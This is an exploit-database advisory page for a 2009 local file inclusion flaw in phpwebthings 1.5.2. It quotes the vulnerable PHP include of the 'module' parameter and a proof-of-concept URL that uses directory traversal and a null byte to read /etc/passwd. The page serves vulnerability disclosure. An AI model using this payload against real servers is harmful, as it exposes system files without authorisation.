header-logo
Suggest Exploit
vendor:
phpwebthings
by:
br0ly
7,5
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: phpwebthings
Affected Version From: 1.5.2
Affected Version To: 1.5.2
Patch Exists: NO
Related CWE: N/A
CPE: a:phpwebthings:phpwebthings:1.5.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

phpwebthings <= 1.5.2

A vulnerability exists in phpwebthings version 1.5.2 and earlier which allows an attacker to include arbitrary files on the server. This is due to the application not properly sanitizing user-supplied input to the 'module' parameter in the 'help' script. An attacker can exploit this vulnerability to include arbitrary files from the web server, such as the web server's /etc/passwd file, resulting in the disclosure of sensitive information.

Mitigation:

Ensure that user-supplied input is properly sanitized and that 'magic_quotes_gpc' is enabled.
Source

Exploit-DB raw data:

----------------------------------------------------------------------------------------------------

  Name : phpwebthings <= 1.5.2
  Site : http://sourceforge.net/projects/phpwebthings/

  Down : http://sourceforge.net/project/downloading.php?group_id=19103&filename=phpwebthings_1_5_2.zip&a=46042396


----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------


  Description:

  Bug : Local File Inclusion
 
  Look this: 

    <?php           theme_draw_centerbox_open("Help");
    if (isset($_GET["module"])) include("modules/{$_GET["module"]}/lang/help_{$cfg["core"]["lang"]}.php"); <-- Vul 

                else include("lang/help_{$cfg["core"]["lang"]}.php");



  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------


  P0c:
 
    LFI:http://localhost/Scripts/phpwebthings_1_5_2/help?module=../../../../../../../../../../../../etc/passwd%00



  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11]